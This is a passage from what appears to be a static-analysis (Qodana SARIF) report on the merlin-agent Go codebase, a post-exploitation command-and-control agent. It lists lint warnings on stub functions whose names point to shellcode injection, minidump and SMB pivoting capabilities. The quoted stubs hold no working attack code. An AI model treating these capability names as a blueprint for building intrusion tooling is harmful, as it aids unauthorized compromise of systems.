"lastAuthorName": "Russel Van Tuyl",
"vcsType": "Git",
"lastAuthorEmail": "russel.vantuyl@gmail.com"
}
}
],
"results": [
{
"ruleId": "GoSwitchMissingCasesForIotaConsts",
"kind": "fail",
"level": "warning",
"message": {
"text": "Missing 'case' statements for 'iota' consts in 'switch'",
"markdown": "Missing 'case' statements for 'iota' consts in 'switch'"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "authenticators/opaque/opaque.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 65,
"startColumn": 4,
"charOffset": 2059,
"charLength": 6,
"snippet": {
"text": "switch"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 63,
"startColumn": 1,
"charOffset": 1998,
"charLength": 193,
"snippet": {
"text": "\tif in.Type == messages.OPAQUE {\n\t\tif in.Payload != nil {\n\t\t\tswitch in.Payload.(opaque.Opaque).Type {\n\t\t\tcase opaque.ReRegister:\n\t\t\t\tcli.Message(cli.NOTE, \"Received OPAQUE re-register request\")"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "e0ef1999f8a6c866da44355dc0587471af3633c3bd3844073e816953deb5f535"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoSwitchMissingCasesForIotaConsts",
"kind": "fail",
"level": "warning",
"message": {
"text": "Missing 'case' statements for 'iota' consts in 'switch'",
"markdown": "Missing 'case' statements for 'iota' consts in 'switch'"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "authenticators/opaque/opaque.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 115,
"startColumn": 2,
"charOffset": 3898,
"charLength": 6,
"snippet": {
"text": "switch"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 113,
"startColumn": 1,
"charOffset": 3851,
"charLength": 173,
"snippet": {
"text": "\topaqueMessage := in.Payload.(opaque.Opaque)\n\n\tswitch opaqueMessage.Type {\n\tcase opaque.RegInit:\n\t\t// Server returned a RegInit message, start OPAQUE registration completion"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "eda916e873e5fec35e9eff01e3977f62a22c6b42bdf4eaba06a9576332d44a46"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedExportedFunction",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused function 'GetUser'",
"markdown": "Unused function `GetUser`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "os/os.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 63,
"startColumn": 6,
"charOffset": 1607,
"charLength": 7,
"snippet": {
"text": "GetUser"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 61,
"startColumn": 1,
"charOffset": 1406,
"charLength": 291,
"snippet": {
"text": "// GetUser enumerates the username and their primary group for the account running the agent process\n// It is OK if this function returns empty strings because we want the agent to run regardless\nfunc GetUser() (username, group string, err error) {\n\tvar u *user.User\n\tu, err = user.Current()"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "9905ae86f61168f88a0c644df0ca0f644fec54c84863570d3a666d9ac5497cd5"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'key'",
"markdown": "Unused parameter `key`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "transformers/encoders/hex/hex.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 59,
"startColumn": 35,
"charOffset": 1681,
"charLength": 3,
"snippet": {
"text": "key"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 57,
"startColumn": 1,
"charOffset": 1576,
"charLength": 220,
"snippet": {
"text": "\n// Deconstruct takes in bytes and hex decodes it to its original type\nfunc (c *Coder) Deconstruct(data, key []byte) (any, error) {\n\tretData := make([]byte, hex.DecodedLen(len(data)))\n\t_, err := hex.Decode(retData, data)"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "0b0fcc63c69210d42be3ac5fbf370415ea4b3ba136e8d4cffc27139c07b9864b"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'Config'",
"markdown": "Unused parameter `Config`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "clients/smb/smb.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 74,
"startColumn": 10,
"charOffset": 3803,
"charLength": 6,
"snippet": {
"text": "Config"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 72,
"startColumn": 1,
"charOffset": 3706,
"charLength": 243,
"snippet": {
"text": "\n// New instantiates and returns a Client that is constructed from the passed in Config\nfunc New(Config) (*Client, error) {\n\treturn nil, fmt.Errorf(\"clients/smb.New(): this function is not supported by the %s operating system\", runtime.GOOS)\n}"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "24e6adde2e557b432bd72456f7ea9118a1bc5792896319781a303ec25af7b3c5"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'shellcode []byte'",
"markdown": "Unused parameter `shellcode []byte`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "commands/exec.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 59,
"startColumn": 29,
"charOffset": 1795,
"charLength": 16,
"snippet": {
"text": "shellcode []byte"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 57,
"startColumn": 1,
"charOffset": 1678,
"charLength": 243,
"snippet": {
"text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeRemote(shellcode []byte, pid uint32) error {\n\treturn errors.New(\"shellcode execution is not implemented for this operating system\")\n}"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "2a53d84de378680934b0385888a4849140fe8d7a56c171c0fc5315ba9511abb6"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'pipe string'",
"markdown": "Unused parameter `pipe string`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "commands/smb.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 43,
"startColumn": 16,
"charOffset": 1330,
"charLength": 11,
"snippet": {
"text": "pipe string"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 41,
"startColumn": 1,
"charOffset": 1227,
"charLength": 245,
"snippet": {
"text": "\n// ListenSMB binds to the provided named pipe and listens for incoming SMB connections\nfunc ListenSMB(pipe string) error {\n\treturn fmt.Errorf(\"commands/smb.ListenSMB(): this function is not supported by the %s operating system\", runtime.GOOS)\n}"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "364de25845ff528309a7ba08971e798188a784bbd06bb5c4b6b4b4e40788b72d"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'uint32'",
"markdown": "Unused parameter `uint32`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "commands/exec.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 73,
"startColumn": 43,
"charOffset": 2584,
"charLength": 6,
"snippet": {
"text": "uint32"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 71,
"startColumn": 1,
"charOffset": 2453,
"charLength": 235,
"snippet": {
"text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeQueueUserAPC([]byte, uint32) error {\n\treturn errors.New(\"shellcode execution is not implemented for this operating system\")\n}"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "43c5008d858aae704c53f6c904799cfe7e80b3af0a1d3288efcddbe6689c10cb"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'string'",
"markdown": "Unused parameter `string`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "commands/exec.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 80,
"startColumn": 52,
"charOffset": 2991,
"charLength": 6,
"snippet": {
"text": "string"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 78,
"startColumn": 1,
"charOffset": 2851,
"charLength": 307,
"snippet": {
"text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeCreateProcessWithPipe(string, string, string) (stdout string, stderr string, err error) {\n\treturn stdout, stderr, fmt.Errorf(\"CreateProcess modules in not implemented for this operating system\")\n}"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "73f786ef936f16463c04877ba54bd3872fee1946814086f5d0482b41bf2ec145"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'string'",
"markdown": "Unused parameter `string`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "commands/exec.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 80,
"startColumn": 44,
"charOffset": 2983,
"charLength": 6,
"snippet": {
"text": "string"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 78,
"startColumn": 1,
"charOffset": 2851,
"charLength": 307,
"snippet": {
"text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeCreateProcessWithPipe(string, string, string) (stdout string, stderr string, err error) {\n\treturn stdout, stderr, fmt.Errorf(\"CreateProcess modules in not implemented for this operating system\")\n}"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "8605ce8f6ff593f2571ac2d6e7bf7becfd87228ff20d0de8973bfbae9fb52c0e"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'key'",
"markdown": "Unused parameter `key`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "transformers/encoders/base64/base64.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 44,
"startColumn": 37,
"charOffset": 1178,
"charLength": 3,
"snippet": {
"text": "key"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 42,
"startColumn": 1,
"charOffset": 1056,
"charLength": 196,
"snippet": {
"text": "\n// Construct takes in data, Base64 encodes it, and returns the encoded data as bytes\nfunc (c *Coder) Construct(data any, key []byte) (retData []byte, err error) {\n\tswitch c.concrete {\n\tcase BYTE:"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "88f41349ceebd835dad62372eb4f3b1d3bc26fb4ed4c31d3dc4460498453e31c"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'key'",
"markdown": "Unused parameter `key`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "clients/smb/smb.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 108,
"startColumn": 27,
"charOffset": 5761,
"charLength": 3,
"snippet": {
"text": "key"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 106,
"startColumn": 1,
"charOffset": 5658,
"charLength": 253,
"snippet": {
"text": "\n// Set is a generic function that is used to modify a Client's field values\nfunc (client *Client) Set(key string, value string) error {\n\treturn fmt.Errorf(\"clients/smb.Set(): the smb client is not supported for the %s operating system\", runtime.GOOS)\n}"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "8ebf5f0094973239c93d88bc3561dfe604cf823931d5dbdbe5295fc914f38c88"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'host'",
"markdown": "Unused parameter `host`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "commands/smb.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 37,
"startColumn": 17,
"charOffset": 1041,
"charLength": 4,
"snippet": {
"text": "host"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 35,
"startColumn": 1,
"charOffset": 929,
"charLength": 295,
"snippet": {
"text": "\n// ConnectSMB establishes an SMB connection over a named pipe to a smb-bind peer-to-peer Agent\nfunc ConnectSMB(host, pipe string) (results jobs.Results) {\n\tresults.Stderr = fmt.Sprintf(\"commands/smb.ConnectSMB(): this function is not supported by the %s operating system\", runtime.GOOS)\n\treturn"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "972af06ca5ea2c19c9e18a7c397b1c8df9ed3db4e3a773c69c3a2ea3f9cf5c49"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'pid uint32'",
"markdown": "Unused parameter `pid uint32`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "commands/exec.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 66,
"startColumn": 60,
"charOffset": 2212,
"charLength": 10,
"snippet": {
"text": "pid uint32"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 64,
"startColumn": 1,
"charOffset": 2064,
"charLength": 256,
"snippet": {
"text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeRtlCreateUserThread(shellcode []byte, pid uint32) error {\n\treturn errors.New(\"shellcode execution is not implemented for this operating system\")\n}"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "a08b10306c6e0b8b1902ff1786a2fb61d5df688bf51552671960cbbad25f0fba"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'jobs.Command'",
"markdown": "Unused parameter `jobs.Command`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "commands/memory.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 31,
"startColumn": 13,
"charOffset": 911,
"charLength": 12,
"snippet": {
"text": "jobs.Command"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 29,
"startColumn": 1,
"charOffset": 814,
"charLength": 231,
"snippet": {
"text": "\n// Memory is a handler for working with virtual memory on the host operating system\nfunc Memory(jobs.Command) (results jobs.Results) {\n\tresults.Stderr = \"the Memory module is not supported by the agent's operating system!\"\n\treturn"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "a23f3547249cfef618b532df72ccea5c58e9eabfc93ba640e19ac40a374fc0c6"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'key'",
"markdown": "Unused parameter `key`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "transformers/encoders/gob/gob.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 50,
"startColumn": 37,
"charOffset": 1255,
"charLength": 3,
"snippet": {
"text": "key"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 48,
"startColumn": 1,
"charOffset": 1136,
"charLength": 173,
"snippet": {
"text": "\n// Construct takes in data, Gob encodes it, and returns the encoded data as bytes\nfunc (c *Coder) Construct(data any, key []byte) ([]byte, error) {\n\treturn c.Encode(data)\n}"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "a44c5d167ecfddeeca673bc10b41c74aaee80b5819f934804ca510d6d5bf198d"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'pid uint32'",
"markdown": "Unused parameter `pid uint32`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "commands/exec.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 59,
"startColumn": 47,
"charOffset": 1813,
"charLength": 10,
"snippet": {
"text": "pid uint32"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 57,
"startColumn": 1,
"charOffset": 1678,
"charLength": 243,
"snippet": {
"text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeRemote(shellcode []byte, pid uint32) error {\n\treturn errors.New(\"shellcode execution is not implemented for this operating system\")\n}"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "a7eea47fd87535ad727c3bb95c084f9517cb623e18286866de944272b691ed4e"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'string'",
"markdown": "Unused parameter `string`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "commands/exec.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 87,
"startColumn": 15,
"charOffset": 3352,
"charLength": 6,
"snippet": {
"text": "string"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 85,
"startColumn": 1,
"charOffset": 3249,
"charLength": 264,
"snippet": {
"text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc miniDump(string, string, uint32) (map[string]interface{}, error) {\n\tvar mini map[string]interface{}\n\treturn mini, errors.New(\"minidump doesn't work on non-windows hosts\")"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "a92ee06425d70b4046458370c9907464a6e75cde4963178ad3bdcffc0f8534b6"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'key'",
"markdown": "Unused parameter `key`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "transformers/encoders/gob/gob.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 55,
"startColumn": 35,
"charOffset": 1415,
"charLength": 3,
"snippet": {
"text": "key"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 53,
"startColumn": 1,
"charOffset": 1310,
"charLength": 156,
"snippet": {
"text": "\n// Deconstruct takes in bytes and Gob decodes it to its original type\nfunc (c *Coder) Deconstruct(data, key []byte) (any, error) {\n\treturn c.Decode(data)\n}"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "a95122b87c5d4cf75e364dfdbf7601f9bce87b12b1a05c86e35755fe17baf943"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'string'",
"markdown": "Unused parameter `string`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "commands/exec.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 80,
"startColumn": 60,
"charOffset": 2999,
"charLength": 6,
"snippet": {
"text": "string"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 78,
"startColumn": 1,
"charOffset": 2851,
"charLength": 307,
"snippet": {
"text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeCreateProcessWithPipe(string, string, string) (stdout string, stderr string, err error) {\n\treturn stdout, stderr, fmt.Errorf(\"CreateProcess modules in not implemented for this operating system\")\n}"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "c3f631bc54d68b590b659d2e8343fab365223a597b31ef64d5d221f0fbb617c3"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'shellcode []byte'",
"markdown": "Unused parameter `shellcode []byte`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "commands/exec.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 52,
"startColumn": 27,
"charOffset": 1477,
"charLength": 16,
"snippet": {
"text": "shellcode []byte"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 50,
"startColumn": 1,
"charOffset": 1362,
"charLength": 229,
"snippet": {
"text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeSelf(shellcode []byte) error {\n\treturn errors.New(\"shellcode execution is not implemented for this operating system\")\n}"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "c78e043f04e49e6b5ee181a3f9bee62ac1504d1edc1e6e179391774beefd6608"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'string'",
"markdown": "Unused parameter `string`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "commands/exec.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 87,
"startColumn": 23,
"charOffset": 3360,
"charLength": 6,
"snippet": {
"text": "string"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 85,
"startColumn": 1,
"charOffset": 3249,
"charLength": 264,
"snippet": {
"text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc miniDump(string, string, uint32) (map[string]interface{}, error) {\n\tvar mini map[string]interface{}\n\treturn mini, errors.New(\"minidump doesn't work on non-windows hosts\")"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "d57f3ff03aecf0576defa855190d29cae60b5ca6fb702dd43e68f43ff0bbfbf2"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'pipe'",
"markdown": "Unused parameter `pipe`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "commands/smb.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 37,
"startColumn": 23,
"charOffset": 1047,
"charLength": 4,
"snippet": {
"text": "pipe"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 35,
"startColumn": 1,
"charOffset": 929,
"charLength": 295,
"snippet": {
"text": "\n// ConnectSMB establishes an SMB connection over a named pipe to a smb-bind peer-to-peer Agent\nfunc ConnectSMB(host, pipe string) (results jobs.Results) {\n\tresults.Stderr = fmt.Sprintf(\"commands/smb.ConnectSMB(): this function is not supported by the %s operating system\", runtime.GOOS)\n\treturn"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "d66165e69e533c5ad886c8b677dec2f3a1e000decdfba64b3b334f3dbaf9ce49"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'key'",
"markdown": "Unused parameter `key`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "transformers/encoders/base64/base64.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 56,
"startColumn": 35,
"charOffset": 1585,
"charLength": 3,
"snippet": {
"text": "key"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 54,
"startColumn": 1,
"charOffset": 1477,
"charLength": 167,
"snippet": {
"text": "\n// Deconstruct takes in bytes and Base64 decodes it to its original type\nfunc (c *Coder) Deconstruct(data, key []byte) (any, error) {\n\tswitch c.concrete {\n\tcase BYTE:"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "db2375de30cc91d97a462a1da83b18023a2f3e51c106c7464cca846a4bae8994"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'shellcode []byte'",
"markdown": "Unused parameter `shellcode []byte`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "commands/exec.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 66,
"startColumn": 42,
"charOffset": 2194,
"charLength": 16,
"snippet": {
"text": "shellcode []byte"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 64,
"startColumn": 1,
"charOffset": 2064,
"charLength": 256,
"snippet": {
"text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeRtlCreateUserThread(shellcode []byte, pid uint32) error {\n\treturn errors.New(\"shellcode execution is not implemented for this operating system\")\n}"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "e2f73b0d2c3386443bf3cbff19c7e6b556c0d2b59cf49dca9a4d721713510b2d"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'value'",
"markdown": "Unused parameter `value`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "clients/smb/smb.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 108,
"startColumn": 39,
"charOffset": 5773,
"charLength": 5,
"snippet": {
"text": "value"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 106,
"startColumn": 1,
"charOffset": 5658,
"charLength": 253,
"snippet": {
"text": "\n// Set is a generic function that is used to modify a Client's field values\nfunc (client *Client) Set(key string, value string) error {\n\treturn fmt.Errorf(\"clients/smb.Set(): the smb client is not supported for the %s operating system\", runtime.GOOS)\n}"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
